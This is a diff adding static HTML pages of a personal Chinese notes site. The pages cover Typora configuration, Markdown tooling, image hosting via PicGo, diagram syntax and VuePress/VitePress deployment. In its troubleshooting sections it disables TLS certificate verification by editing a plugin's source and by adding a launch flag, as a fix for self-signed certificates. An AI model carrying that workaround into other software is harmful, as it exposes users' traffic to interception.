Typora快捷键大全 - 知乎 (zhihu.com)open in new window


这里的自定义快捷键会跳转到官方文档, 该文档中会教授如何自定义快捷键, 翻到文档起始可以看到快捷键表格

image-20221211021058855

Typora 中最常用的快捷键是

  • Ctrl + T: 新建表格

  • Ctrl + /: 切换到源码模式

  • Ctrl + Shift + C: 将选中内容复制为 Markdown

  • Enter: 换段(体现在源码里就是空一行)

  • Space Space Shift + Enter: 换行

    源码中在行尾打两个空格并换行

    不推荐直接只使用 Shift + Enter, 这样虽然在 Typora 中可以看到换行了, 但是不符合 markdown 语法, 在其他软件中就看不到换行了, 而是会显示在同一行


对话框

没用过, 不清楚有什么用

image-20221211021528300


高级设置

只用来写文档看文档一般不会开调试模式

匿名使用数据方面除非写开源博客否则一般也不会开

点击打开高级设置会打开一个本地文件夹, 里面有两个 json 文件对应配置文件, 个人没用过, 就不再展开了

image-20221211021644889


Typora 服务器

在激活 Typora 之前会勾选上, 一般是安装好 Typora 之后第一个配置的偏好设置

image-20221211021841266


编辑器

建议打开即时渲染, 显示当前块元素的 Markdown 源码, 这对于调整目录层级比较有帮助, 在光标点到任意一级标题时会显示标题前的 #, 这样就可以快速通过加减 # 来调整层级而不用再 Ctrl + / 切换到源码做修改

image-20221211022022856


图像

image-20221211022533292


本地图像

当图片存放在本地时推荐如此配置

image-20221211022550266

插入图片时的动作其实有 6 项

image-20221211022940136

  • 选择 复制图片到 ./${filename}.assets 文件夹 是因为个人喜好, 这样可以保证一个 markdown 文件的图片对应一个图片目录

  • 不选择复制图片到当前文件夹是因为若勾选了此项, 当文档中插入的图片比较多时, 打开本地文件目录就会看到一堆图片文件中夹杂着一个 markdown 文件(以及可能存在的导出的 PDF 等其他文件以及其他的参考文档等等), 这就会使得文件目录显得很混乱

  • 不选择复制图片到 ./assets 文件夹是因为当一个目录下有多个 markdown 文件时, 这些 markdown 中的图片就全混在同级目录下的 assets 文件夹里了

  • 不选择复制到指定路径是因为这样设置基本就告别相对路径了, 而绝对路径字符串是坏文明, 换个地方就不能用了


  • 优先使用相对路径, 相对路径是好文明

  • 勾选为相对路径添加 / 是因为有的 markdown 文档渲染站点不支持没有 ./ 的相对路径

    比如 VuePress 不支持没有 ./ 的相对路径图像渲染, 如果引用了当前文档同级目录下的 图片/文件夹中的图片 而没有使用 ./ 则会导致渲染出来的 html 无法正确索引到图片文件从而显示不出来图片

  • 不勾选插入时自动转义图片 URL 是因为选上之后相对链接中的中文会自动 URLEncode, 读 Markdown 源码时看着不舒服(


个人图床

有个人图床时, 写个人博客的情况下可以选择结合 PicGo 上传图片到个人图床, 可以参考 Ubuntu+PicGo+七牛云图床+Typora搭建笔记神器_xcy.小相的博客-CSDN博客_typroa写ubuntuopen in new window

之所以不贴自己的实现步骤是因为很早之前从域名申请到具体配置的过程中没有做相关记录, 现在也不想重新来一遍, 所以就不贴了


标题中有 Ubuntu, 但是实际上 Windows 上的配置也是一样的, 而且 Ubuntu 上的 Typora 版本要落后于 Windows 上的 Typora

这里需要注意的是 不要勾选为相对路径添加 ./, 否则会上传失败(感觉应该是个 bug)

勾选了优先使用相对路径是因为这样的话当写文档时需要在本地存放图像时不用再改动此项配置了

关于勾选了相对路径添加 ./ 会导致上传失败个人认为是 bug 是因为

  • 取消勾选此项后就可以正常上传图像了
  • 选了上传图片时其实相对路径的相关配置是没有意义的, 而现实逻辑上不相关的配置具在体实现上出现 bug 的情况并不少见, 属于是合理推测(
  • 为相对路径添加 ./ 是最近几个版本新增的功能

image-20221211024905446


Markdown

image-20221211030226276

不勾选智能引号是因为在个人写文档中有时用单引号还是双引号是有原因的, 不能随便换

比如 SQL 注入中的单引号与双引号以及 Python 中字符串的单双引号混用

不过一般涉及代码都会使用三个间隔号(`)标记代码块或者是使用两个间隔号包裹单行代码片段, 比如:

print("Hello World")
+

print("Hello World")


不勾选智能破折号是因为个人用破折号的情况很少, 用破折号的时候也不希望其发生变化


不勾选转化 Unicode 标点是因为个人标点全是半角, 所以不需要


首行缩进根据个人喜好设置即可


不显示 <br> 是因为勾选了之后个人认为看起来不美观

image-20221211034028441

<br> 一般用于表格内单个单元格中的文字换行


导出

基本上要配的就一个 PDF, 需要注意的配置项也就一个主题, 默认是使用当前主题导出, 但是个人编辑 markdown 时一般用深色的主题, 而 Typora 又不支持深色主题导出, 所以这里需要勾选一个浅色的主题, 这里选了 Vue

image-20221211034137359


主题推荐

个人收集的主题包整合在这里了: Typora主题open in new window

下载对应的主题压缩包, 解压后将其中的 css 文件复制到主题文件夹中即可, 如果解压后不只有 css 文件还有其他文件夹, 而且开其他文件夹后里面不光是图片, 还有字体等文件时, 将这些 其他的文件夹 也拷贝到主题目录中即可

image-20221211015751913

image-20221211015858909


导出 PDF 主题推荐

因为 Typora 导出 PDF 不支持深色主题, 因此这里在浅色主题中进行推荐, 导出 PDF 推荐使用 Github 和 Vue 主题

Vue:

image-20221211013710509

Github:

image-20221211013857064


深色主题推荐

自带的 Night, Dracula, VueDark 都不错

Dracula:

image-20221211014418661


VueDark:

image-20221211014504318


Night:

image-20221211014348462


浅色主题推荐

前面打印主题中展示的 GithubVue 主题都不错, 在分享的主题包open in new window中还有很多浅色主题, 由于个人不常用所以就不过多推荐了


报错收集


image load failed
  • 自动上传图片后路径转义为:http:cdn.ayusummer233.top/img/image-20210607155126647.png无法正常显示

    刚开始用的时候照着教程配置没有仔细考量配置项, 在 VScode 中 http:cnd...... 的形式是可以正常渲染图片的, 所以当时没注意到链接不完整的问题
    实际上是PicGo 的上传路径配置有问题, 少了个 //, 加上就可以了


无法正常导出PDF

导出 PDF 点保存后没有提示也没有导出成功

有可能是打印机服务 down 了

打开计算机服务菜单, 启动 Print Spooler 即可


无法显示局域网https图片

如果图链源自自签名的https局域网站点, 那么需要为 Typora 的启动项添加 --ignore-certificate-errors 参数, 具体如图所示

image-20230414005417928

image-20230414010122695

exe 路径加引号后点击应用可能会自动把引号删掉, 应该不影响使用


LaTeX 相关

将Typora伪装成LaTeX的中文样式主题open in new window


在 VSCode 中编辑 Markdown 文件

  • 安装 VSCode 扩展
    • Markdown All in One / [Markdown Preview Enhanced](#Markdown Preview Enhanced)
    • Markdown Converter
  • markdown文件的后缀名为mdimage-20220906085910035
  • 使用大纲快速索引章节位置 image-20220906085945030
  • 使用插件快速更新生成目录

Markdown All in One

功能如其名字所示, all in one, 常用于预览 Markdown 文件以及格式化 markdown 文本和目录生成

主要是目录生成比较有用, Typora 虽然可以选择插入目录, 但是对于源码的改动只是加了个 [TOC], 这种配置只有在 Typora 中才能正确解析, 而 Markdown All in One 的插入目录则是直接以无序列表的形式将目录插入到了源码中, 不管在哪里都是可以正常渲染出来的

image-20221210222920898

预览:

image-20221210223153261

格式化文档:

image-20221210223247083

image-20221210223300055


目录

在命令面板中选择使用 Markdown All in One 生成目录即可在当前光标位置生成目录, 且每次保存时会自动更新目录

img


Markdown Preview Enhanced

个人觉得在预览方面有 Markdown All in One 就足够了, MPE(Markdown Preview Enhanced) 有时被用于导出包含 base64 图片的 HTML 文档


使用 MPE 预览 markdown 文件时若出现如下问题

20211117085220

报错 Error: spawn pandoc ENOENT · Issue #429 · shd101wyy/markdown-preview-enhanced (github.com)open in new window

How to compile to pdf from a markdown doc?! · Issue #421 · shd101wyy/markdown-preview-enhanced (github.com)open in new window

安装 Pandoc 再重启 VSCode 即可


使用 MPE 导出 base64图片 && 带侧边目录的 HTML:

3.1 HTML 导出-markdown preview enhanced文档(简体中文版)-面试哥 (mianshigee.com)open in new window

最完善的markdown转html/pdf方法、带目录生成_所谓向日葵族的博客-CSDN博客_markdown转htmlopen in new window

Markdown转换单一html文件并添加侧边栏目录_吟风划彩虹的博客-CSDN博客_html添加目录open in new window

HTML (shd101wyy.github.io)open in new window


安装完 MPE 插件后在设置中打开脚本执行支持

image-20220813031117722

使用 VSCode 打开 markdown 文件后, 打开 Markdown Preview Enhanced 的预览模式

image-20220812161158973

将光标放到第一行,然后(按 Ctrl+Shift+P )呼出命令面板,输入 Markdown Preview Enhanced: Create Toc 会在光标位置生成一段代码:

image-20220812161806527

<!-- @import "[TOC]" {cmd="toc" depthFrom=1 depthTo=6 orderedList=false} -->
+

此时每次保存文件都会自动生成目录

image-20220812161844235

然后在头部添加

---
+html:
+  embed_local_images: true
+  embed_svg: true
+  offline: true
+  toc: true
+print_background: true
+export_on_save:
+  html: true
+---
+
  • embed_local_images 被设置为 true,那么所有的本地图片将会被嵌入为 base64 格式。

  • toc

    • 设置为 false,那么边栏目录将会被隐藏。
    • toc 被设置为 true,那么边栏目录将会被缺省启动并显示。
    • toc 没有被设置,那么缺省边栏目录将会被启动,但是并不显示。
  • export_on_save:
    +  html: true
    +

    保存时自动导出 html

  • offline

    • HTML (offline) 选择这个选项如果你要离线使用这个 html 文件。
    • HTML (cdn hosted) 选择这个选项如果你要远程或在服务器上使用这个 html 文件。
  • print_background: 使用当前背景样式


picgo

image-20221210225602987

可参阅 七牛云+阿里云域名+PicGoopen in new window 进行配置, 最终在 VSCode 中的配置如下:

VSCodePicGo插件配置

使用说明
具体使用


markmap

Markmap - Visual Studio Marketplaceopen in new window

Try markmapopen in new window

gera2ld/markmap: Visualize your Markdown as mindmaps with Markmap. (github.com)open in new window

能够将 markdown 文件根据目录层级转换为思维导图

image-20220814212254716



markdownlint

PS: 该扩展提供 Markdown 语法检查, 但是个人认为该扩展提供的检查有些过于严格了, 不是特别实用, 个人更倾向于使用 Markdown All in One 提供的一键格式化 markdown 文本

在启用 markdownlint 时, 若当前 markdown 文本中包含 html 则会被警告, 但是有时 html 标签是在自定义一些个人想要的特性时所需要使用的, 以下是关闭此警告的相关处理方案


vscode markdownlint插件让你的markdown更加规范 -- Rules规则提示信息 一介布衣 (yijiebuyi.com)open in new window

markdownlint取消部分html标签警告_sbwww的博客-CSDN博客open in new window


  • 问题

    在 vscode 中使用 markdownlint 插件进行代码分析,当使用了 html 标签时,插件会给出 MD033/no-inline-html 警告,

    如果整篇 markdown 很长且遍布这种错误时该插件会导致 VSCode 十分卡顿

  • 原因

    插件作者的意图是为了使 markdown 文件是纯 markdown 的,避免在使用 html 以外的方式渲染时出错。

    markdownlint/Rules.md at v0.21.0 · DavidAnson/markdownlint (github.com)open in new window

  • 解决方案

    markdownlint取消部分html标签警告_sbwww的博客-CSDN博客open in new window

    打开 VSCode 设置 json 文件, 添加如下配置:

          "markdownlint.config": {
    +        "default": true,
    +        "MD033": {
    +          "allowed_elements": [ "font", "li", "table", "tr", "td", "br" ]
    +        }
    +      },
    +

    其中 "allowed_elements" 的列表中填入不想提出警告的 html 标签, 保存修改后,markdownlint 将不再对 "allowed_elements" 中的 html 标签提出警告


vnote

vnote-githubRepoopen in new window


开始之初,VNote是一款专为Markdown设计的Vim风格笔记应用程序。它不仅仅是一个Markdown编辑器。VNote旨在成为一个带有便捷笔记管理的功能强大的Markdown编辑器,或者一个拥有舒适Markdown体验的笔记软件。

现在,VNote致力于成为一个舒适的笔记平台,会逐步支持更多的文档格式。

VNote是免费、开源的。您可以获得适用于Linux,Windows和macOS的版本。

可以导出嵌入图片的带侧边大纲的 HTML
但是 PDF 导出有些差强人意


工具

图床

七牛云对象存储

请参阅 Ubuntu+PicGo+七牛云图床+Typora搭建笔记神器_ubuntu挂载七牛云_xcy.小相的博客-CSDN博客open in new window

之所以不贴自己的实现步骤是因为很早之前从域名申请到具体配置的过程中没有做相关记录, 现在也不想重新来一遍, 所以就不贴了


上述链接标题中有 Ubuntu, 但是实际上 Windows 上的配置也是一样的

PS: Ubuntu 上的 Typora 版本要落后于 Windows 上的 Typora 的


Nextcloud+Picgo

Docker系列 深度使用nextcloud(三)Typora图床 - 知乎 (zhihu.com)open in new window

Nextcloud 也可以配合 Picgo 作为图床使用, 简单来说上传图片到 nextcloud 并通过公开链接共享后可以在链接后缀加上 /preview 预览

image-20230322165531684

image-20230322165555120

而 Nextcloud 提供了用于上传图片以及分享链接的接口, 因此可以制作 Picgo 上传 Nextcloud 的插件并配合 Typora 使用


在 PicGo 插件设置中搜索 Nextcloud 并安装此项:

image-20230322103955291

然后在 图床设置 中配置 Nextcloud 的地址以及登录账密以及图像存储根目录即可

image-20230322104119590

PS: 插件市场里的两个插件最终都没能使用成功, 而且 log 里没什么有用的信息, 查了下对应的仓库, 最后一次更新均是在 21 年了, 打算后面有空二开一下

PS: 后来考量了下使用了 Gitlab 当图床, 继而不再去考虑二开 nextcloud 的插件了


Gitlab+Picgo

d-w-x/picgo-plugin-gitlab-files: PicGo 向 Gitlab 的指定项目中上传图片 (github.com)open in new window

Gitlab 也可以配合 Picgo 当做图床使用, 需要新建一个公开的 Gitlab 项目, 然后配置项目 Token, 详细配置请参阅上述链接

Gitlab 仓库中的图片可以通过 仓库链接/raw/{分支名}/pictures/{图片路径} 进行访问, 且 Gitlab 提供了上传文件的接口, 因此可以制作 Picgo 上传图像到 gitlab 仓库的插件并配合 Typora 使用


在 PicGo 中下载

image-20230322164819962

并按照 d-w-x/picgo-plugin-gitlab-files: PicGo 向 Gitlab 的指定项目中上传图片 (github.com)open in new window 进行配置即可

需要注意的是 token 那里如果项目里要选角色的话默认是 Guest, 权限是不够的, 可以给个 Owner 权限


需要注意的是可能上传时会报错 Error: Client network socket disconnected before secure TLS connection was established 这可能是由于 Picgo 挂了本地代理, 将其关掉即可

image-20230323093607447

image-20230323093615890


如果报错 RequestError: **Error**: self signed certificate 那么可能是 gitlab 地址用了自签名的 SSL 证书, 忽略自签名即可, 具体操作如下

打开插件主程序 js 文件, 该文件默认为: C:\Users\[Username]\AppData\Roaming\picgo\node_modules\picgo-plugin-gitlab-files\dist\index.js

使用 process.env 对象来临时修改环境变量,来忽略自签名证书错误, 然后,你就可以在后面的代码中发送HTTPS请求,而忽略自签名证书错误。

PS: 这种方法只会影响当前Node.js进程,不会永久改变环境变量。

process.env.NODE_TLS_REJECT_UNAUTHORIZED = '0';
+

image-20230606100829892


如果报错 Request failed with status code 403 可能是 token 给的权限不够, 看下是不是只给了 Guest 权限


如果上传成功了但是 Typora 中无法正确渲染图像, 可能是因 Gitlab 使用了自签名的 SSL 证书, 可以设置 Typora 启动参数 --ignore-certificate-errors 来忽略该问题

image-20230322171611111

image-20230322171715554


PicGo

Molunerfinn/PicGo: A simple & beautiful tool for pictures uploading built by vue-cli-electron-builder (github.com)open in new window


PicGo 之于 Markdown 主要是用于上传图片到个人图床并返回 Markdown 引用链接; 在前文 VSCode 中编辑 Markdown 中有提到 VSCode 中有PicGo 扩展,PicGo 也是有 PC 端软件的, 在 Releases · Molunerfinn/PicGo (github.com)open in new window 中可以下载对应系统版本的PicGo 安装包

image-20221211025951361


PicGo 设置正确但是传不上去图片

可能是有设备拦截了请求, 可以在PicGo 设置中配置代理来解决


继续配合 ShareX 使用

有时单纯的静态图片可能不能很明确地展示效果, 用 GIF 可能会更好些

在插入静态图片时通常是截屏后剪贴板中会有该截图, 直接粘贴到 Typora 中就可以自动调佣 PicGo 将剪贴板中的静态图片上传到图床并生成 markdown 引用代码

但是对于 GIF, 首先是在截图方面最常使用的工具多为: Windows 自带的 Win + Shift + S, Snipaste, QQ截图, 但是这些工具通常不支持截 GIF, ShareX 是支持截 GIF 的

设置截图后复制文件到剪贴板:

然后直接在 Typora 上粘贴即可自动调用PicGo 上传到图床

比如:


Pandoc

安装和使用Pandoc | typora中文网open in new window

Pandoc 2.16.1-windows-x86_64.msi - OneDrive Shareopen in new window


Pandoc 是通用文档文本转换器。Typora 使用它来支持几种文件类型的文件导入/导出功能。


reveal-md

markdown写ppt (史上最全) - 疯狂创客圈 - 博客园 (cnblogs.com)open in new window

像演示 PPT 一样演示 markdown

安装:

执行如下命令进行全局安装 reveal-md

npm install -g reveal-md
+

没装 nodejs 的话需要先装 nodejs

使用:

执行如下命令以使用 reveal-md 演示 markdown 文件

reveal-md path_markdown_file
+

如:

20220120231927



something interesting

徽章

RimoChan/unv-shield: 【幼盾】个性化图片徽章服务! (github.com)open in new window


![](https://unv-shield.librian.net/api/unv_shield?code=1&url=https://avatars.githubusercontent.com/u/59549826&scale=2&txt=好!&border=4&barradius=999)
+


markdown + pandoc 写论文

没搞定, 太繁杂了感觉, mark 下, 以后有空再弄

使用Markdown搭配Pandoc撰写学术论文的详细指南 - 知乎 (zhihu.com)open in new window

文献管理工具: Zotero

Zotero | Your personal research assistantopen in new window

20220309100246-Zotero

官网下载 Zoteroopen in new window, EDGE 插件open in new window 以及 VSCode Zotero 插件[可选, 主要看自己习惯用什么写 markdown]

20220309100613-Citation Picker for Zotero

[quick start guide Zotero Documentation]open in new window

[adding items to zotero Zotero Documentation]open in new window

[collections and tags Zotero Documentation]open in new window

[creating bibliographies Zotero Documentation]open in new window

[word processor plugin usage Zotero Documentation]open in new window

Better BibTex

Better BibTeXopen in new window

下载此 xpi 文件后打开 Zotero->工具->插件->右上方齿轮图标-> Install add-on From File... 选择下载好的 xpi 文件进行安装, 安装完后重启 Zotero 会自动进入 Better BibTeX 的配置页面(均默认即可)

然后进入 Zotero 主界面 编辑->首选项->Better BibTeX 进行如下配置:

20220309152816

20220309152859

返回 Zotero 主界面后会看到多了一列 Citation Key 属性

20220309153131

Citation Key 可以理解成每个条目的唯一 id, 在上述配置过程中我们将其配置成了 [auth:lower[year]的形式, 如果有重复的话会在后面添加 a b c 或者数字进行区分

+ + + diff --git a/NoteTools/Mermaid.html b/NoteTools/Mermaid.html new file mode 100644 index 0000000000..eef9463ed2 --- /dev/null +++ b/NoteTools/Mermaid.html @@ -0,0 +1,128 @@ + + + + + + + + Mermaid | DailyNotes + + + + + + +
跳至主要內容

Mermaid

大约 4 分钟

Mermaid


结点内文字换行

graph LR;
+a-->b[2<br>3<br>3]
+

限制流程图大小

  • 绘图时在当前方向上绘制的结点数量及文字比较多那么篇幅会无限扩大, 目前没有找到特别好的限制区域大小的方法
  • 不过通常编辑文档时的界面左右大小适应屏幕左右宽度, 上下可以滚动, 那么可以指定 Mermaid 图左右方向绘制以避免图像过长

显示支持

  • VSCode 需要安装扩展-Markdown Preview Mermaid Support 以预览 Mermaid 图像

甘特图

gantt
+dateFormat  YYYY-MM-DD
+title 甘特图
+excludes weekdays 2014-01-10
+
+Completed task  : des1, 2014-01-06,2014-01-08
+Active task     : des2, 2014-01-09, 2d
+Future task     : des3, after des2, 5d
+Future task2    : des4, after des3, 5d
+

流程图

Flowchart (mermaid-js.github.io)open in new window

flowchart TD
+    Start --> Stop
+

--> 实线箭头


流程图整体方向

  • TB - top to bottom
  • TD - top-down/ same as top to bottom
  • BT - bottom to top
  • RL - right to left
  • LR - left to right

结点形状

Flowchart (mermaid-js.github.io)open in new window

flowchart LR
+  id1(round edges)
+  id2([stadium-shaped])
+  id3[[subroutine shape]]
+  id4[(A node in a cylindrical shape)]
+  id5((A node in the form of a circle))
+  id6>A node in an asymmetric shape]
+  id7{A node rhombus}
+  id8{{A hexagon node}}
+  id9[/Parallelogram/]
+  id10[\Parallelogram alt\]
+  id11[/Trapezoid\]
+

连接线形状

Flowchart (mermaid-js.github.io)open in new window

flowchart LR
+  A --> B
+  A --实线单箭头--> B
+  A -->|实线单箭头|C
+  
+  B --- C
+  B --实线--- C
+  B ---|实线|D
+  
+  C -.-|虚线|D
+  C -.->|虚线单箭头|D
+  
+  D ==> E
+  D ==>|粗实线单箭头|E
+  
+  E --> F & G --> H
+  
+  H & I --> J & K
+  
+  L --o|实线圆头|M
+  M --x|实线x头|N
+  
+  N <--> |双向箭头|O
+  O o--o P
+  P x--x Q
+  
+  R -------|横线越多越长| S
+

语法冲突的特殊字符

Flowchart (mermaid-js.github.io)open in new window

flowchart LR
+  A["结点内使用(括号)"]
+

子图

语法:

subgraph title
+    graph definition
+end
+

示例:

flowchart TB
+    c1-->a2
+    subgraph one
+    a1-->a2
+    end
+    subgraph two
+    b1-->b2
+    end
+    subgraph three
+    c1-->c2
+    end
+

时序图

Sequence diagram (mermaid-js.github.io)open in new window

Mermaid之时序图语法_Feng乍起的博客-CSDN博客_时序图语法open in new window

sequenceDiagram
+participant C as Client.discard(9)
+participant S as Server.47660
+C ->> S: [SYN] 请求建立 TCP 连接
+S ->> C: [SYN ACK] 确认建立 TCP 连接
+C ->> S: [ACK] 确认收到确认建立 TCP 连接
+
+Note over C,S: ↑ 3 次握手
+
+loop 数据传输(不分片情况)
+C ->> S: [PSH ACK] 发送数据
+S ->> C: [ACK]确认接收数据
+end
+
+Note over C,S: ↓ 4 次挥手
+
+C ->> S: [FIN, ACK] 发起终止连接请求
+S ->> C: [ACK] 确认终止连接请求
+S ->> C: [FIN, ACK] 发起终止连接请求
+C ->> S: [ACK] 确认终止连接请求
+
+ + + diff --git a/NoteTools/Notion.html b/NoteTools/Notion.html new file mode 100644 index 0000000000..ba132c25c9 --- /dev/null +++ b/NoteTools/Notion.html @@ -0,0 +1,40 @@ + + + + + + + + Notion | DailyNotes + + + + + + +
跳至主要內容

Notion

小于 1 分钟

+ + + diff --git a/NoteTools/PlantUML.html b/NoteTools/PlantUML.html new file mode 100644 index 0000000000..9ced8b3804 --- /dev/null +++ b/NoteTools/PlantUML.html @@ -0,0 +1,53 @@ + + + + + + + + PlantUML | DailyNotes + + + + + + +
跳至主要內容

PlantUML

小于 1 分钟

PlantUML

官方中文教程open in new window

Work Breakdown Structure (WBS)

工作分解结构open in new window

官方教程open in new window

WBS diagram are still in beta: the syntax may change without notice.


OrgMode syntax

  • This syntax is compatible with OrgMode
@startwbs
+* Business Process Modelling WBS
+** Launch the project
+*** Complete Stakeholder Research
+*** Initial Implementation Plan
+** Design phase
+*** Model of AsIs Processes Completed
+**** Model of AsIs Processes Completed1
+**** Model of AsIs Processes Completed2
+*** Measure AsIs performance metrics
+*** Identify Quick Wins
+** Complete innovate phase
+@endwbs
+
  • 基本的 * 的书目代表层级的结构
+ + + diff --git a/NoteTools/Vitepress.html b/NoteTools/Vitepress.html new file mode 100644 index 0000000000..b195b9db34 --- /dev/null +++ b/NoteTools/Vitepress.html @@ -0,0 +1,64 @@ + + + + + + + + VitePress | DailyNotes + + + + + + +
跳至主要內容

VitePress

大约 2 分钟

VitePress

vuejs/vitepress: Vite & Vue powered static site generator. (github.com)open in new window

VitePress | Vite & Vue Powered Static Site Generator (vuejs.org)open in new window

什么是 VitePress? | VitePress中文网 (vitejs.cn)open in new window


快速开始 - 搭建一个 vitepress 项目

新建一个项目目录并使用自己喜欢的包管理工具进行初始化(以 pnpm 为例)

pnpm init
+

初始化后会在当前项目目录生成 package.json 文件, 使用 pnpm 需要编辑下该文件, 将下面的内容作为键值插入到 json 字典中

"pnpm": {
+  "peerDependencyRules": {
+    "ignoreMissing": [
+      "@algolia/client-search"
+    ]
+  }
+}
+

安装依赖

pnpm install vitepress vue -D
+

编辑测试文档

在项目目录下创建一个 docs 目录, 进入该目录创建一个 index.md 文件

随便编辑下该文档用于待会儿测试页面内容显示


启动开发环境

packages.json 中添加一些 scripts

{
+  ...
+  "scripts": {
+    "docs:dev": "vitepress dev docs",
+    "docs:build": "vitepress build docs",
+    "docs:serve": "vitepress serve docs"
+  },
+  ...
+}
+

在本地运行 vitepress

pnpm docs:dev
+

默认会在本地的 5173 端口启动服务, 访问 http://localhost:5173/ 即可查看页面

image-20220930002251257


添加更多页面

按照类似目录结构创建更多文档

.
+├─ docs
+│  ├─ getting-started.md
+│  └─ index.md
+└─ package.json
+

ideas

权限控制

  1. 使用类似 github pages 的私有部署(需要 github pro), 不清楚 gitlab 有没有对应功能
  2. 前端 mock 个登录接口写上 mock 的账密
  3. 后台新写个权限控制系统

+ + + diff --git a/NoteTools/VuePress.html b/NoteTools/VuePress.html new file mode 100644 index 0000000000..0aba7edfb4 --- /dev/null +++ b/NoteTools/VuePress.html @@ -0,0 +1,130 @@ + + + + + + + + VuePress | DailyNotes + + + + + + +
跳至主要內容

VuePress

大约 4 分钟

VuePress

pnpm,Github Actions, Github Pages 自动化部署文档

快速上手 | VuePress (vuejs.org)open in new window


  • 使用 pnpmopen in new window 时,需要安装 vue@vuepress/client 作为 peer-dependencies ,即

    pnpm add -D vue @vuepress/client@next
    +
  • 然后将 VuePress 安装为本地依赖

    pnpm install -D vuepress@next
    +
  • package.json 中添加一些 scriptsopen in new window

    {
    +  "scripts": {
    +    "docs:dev": "vuepress dev docs",
    +    "docs:build": "vuepress build docs"
    +  }
    +}
    +
  • 编辑 .gitignore 文件, 添加临时目录和缓存目录以及 dist 目录

    node_modules
    +.temp
    +.cache
    +docs/.vuepress/dist
    +
  • 在根目录下创建 docs 目录然后新建一个 README.md 文件并随便输入些文字

  • 可以先在本地尝试运行和打包下

    pnpm run docs:dev
    +pnpm run dos:build
    +
  • docs/.vuepress 目录下创建 config.js

    配置 | VuePress (vuejs.org)open in new window

    module.exports = {
    +    // 站点的标题
    +    title: "VuePressTest",
    +    // 站点的描述
    +    description: "This is a blog.",
    +    // 站点配置, 设置为 /[仓库名]/
    +    base: '/VuePressTest/',
    +}
    +

需要注意的是, 这里的 base 务必配置好, 否则之后部署完后可能会出现引入资源找不到的情况

因为默认 base 是 /, 所以如果将站点部署到具体到仓库的子路径的话, 构建的 html 文档中的资源引入链接仍然指向了根目录, 就会 404

React/Vue 项目在 GitHub Pages 上部署时资源的路径问题_mob60475707634e的技术博客_51CTO博客open in new window

部署 | VuePress (vuejs.org)open in new window


  • 在根目录下新建 .github/workflows/docs.yml'
name: Deploy Docs
+
+on:
+  push:
+    branches:
+      # make sure this is the branch you are using
+      - main
+
+jobs:
+  deploy-gh-pages:
+    runs-on: ubuntu-latest
+    steps:
+      - name: Checkout
+        uses: actions/checkout@v3
+        with:
+          fetch-depth: 0
+          # if your docs needs submodules, uncomment the following line
+          # submodules: true
+
+      - name: Setup Node.js environment
+        uses: actions/setup-node@v3.5.1
+        with:
+          # 选择要使用的 node 版本
+          node-version: '18'
+
+      - name: Setup pnpm
+        uses: pnpm/action-setup@v2.2.4
+        with: 
+          version: 6.0.2
+
+
+      - name: Install Deps
+        run: pnpm install
+
+      - name: Build Docs
+        env:
+          NODE_OPTIONS: --max_old_space_size=8192
+        # 需要注意的是 github pages的jekyll模版会忽略下划线开头的文件
+        # 所以要禁用jekyll才能正确加载带下划线的资源  
+        # 可以通过在项目根目录下创建一个名为 .nojekyll 的空文件来禁用jekyll
+        # 关于 -run 和 run | 的区别可参阅:  
+        # https://stackoverflow.com/questions/59529042/difference-between-run-and-multiple-runs-in-github-actions
+        run: |-
+          pnpm run docs:build
+          echo > docs/.vuepress/dist/.nojekyll
+
+
+      # 查看 workflow 的文档来获取更多信息
+      # @see https://github.com/crazy-max/ghaction-github-pages
+      - name: GitHub Pages
+        uses: crazy-max/ghaction-github-pages@v3.1.0
+        with: 
+          # 部署到 gh-pages 分支
+          target_branch: gh-pages
+          # 部署目录为 VuePress 的默认输出目录
+          build_dir: docs/.vuepress/dist
+        env:
+          # @see https://docs.github.com/cn/actions/reference/authentication-in-a-workflow#about-the-github_token-secret
+          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
+

  • 提交并推送你的修改, 然后可以在 Github 仓库的 Actions 中查看下运行状态

image-20221107011741954


  • 打开仓库的 Settings->PagesBUild and deployment->source 修改为 Deploy from a branch(默认值就是这个), 然后选择 gh-pages->/rootSave

image-20221107013516165

  • 然后就可以在 Actions 界面看到多了一个 Action

image-20221107013604098

image-20221107013613106

  • 仓库主页右下角也会多一个 Environment, 在上一步的 Actions 中可以看到部署链接, 亦可以在此处看到部署链接

image-20221107013756939

image-20221107013848612

image-20221107013913233


配合 vuepress_theme_hope 食用

主页 | vuepress-theme-hope (vuejs.press)open in new window

直接看官方文档即可, 下面部分的笔记仅适用于个人更新依赖的时候瞄一眼需要更新的模块

# 使用 vuepress_theme_hope 初始化一个 vuepress 项目
+pnpm create vuepress-theme-hope@next [dir]
+
+# 获取为当前项目添加 vuepress_theme_hope 支持
+pnpm install -D vuepress-theme-hope@next
+

这里的 [dir] 是一个参数,你需要使用真实的文件夹名称替换它,例如 docssrc 或其他你喜欢的名称。


搜索

搜索 | vuepress-theme-hope (vuejs.press)open in new window

pnpm add -D vuepress-plugin-search-pro@next
+

sitemap

主页 | Sitemap 生成器 (vuejs.press)open in new window

选项 | Sitemap 生成器 (vuejs.press)open in new window

pnpm add -D vuepress-plugin-sitemap2
+

PS: 抄配置时需要配下 hostname 这个必填项, 填入域名即可


SEO

主页 | SEO 增强 (vuejs.press)open in new window

选项 | SEO 增强 (vuejs.press)open in new window

pnpm add -D vuepress-plugin-seo2
+

PS: 抄配置时需要配下 hostname 这个必填项, 填入域名即可


报错收集

Vuepress Error: ENOSPC: System limit for number of file watchers reach

Error: ENOSPC: System limit for number of file watchers reached - Get Help - Vue Forum (vuejs.org)open in new window


echo fs.inotify.max_user_watches=524288 | sudo tee -a /etc/sysctl.conf && sudo sysctl -p
+

+ + + diff --git a/NoteTools/Word.html b/NoteTools/Word.html new file mode 100644 index 0000000000..560603abb1 --- /dev/null +++ b/NoteTools/Word.html @@ -0,0 +1,40 @@ + + + + + + + + 论文 | DailyNotes + + + + + + +
跳至主要內容

论文

大约 2 分钟

论文

参考文献及引用

参考文献怎么引用学位论文如何引用,论文引用格式和规则是什么,怎么引用才会被知网查重识别?_哔哩哔哩_bilibiliopen in new window

毕业论文怎样快速设置正确的参考文献格式?_哔哩哔哩_bilibiliopen in new window

从知网导出文献目录

知网中选择若干文献导出题录,复制到剪贴板后粘贴到参考文献栏中

image-20220519223001874

image-20220519223050797

image-20220519223145066


设置参考文献格式

将复制的题录粘贴后将粘贴部分内容全选->段落->缩进->悬挂->2字符

由于这里粘贴的标号不是word自动生成的,所以系统可能不会认, 可以按住 ALT 键并拖动鼠标框选引文标号并将其删除

image-20220519223757900

image-20220519224002674

image-20220519224100287

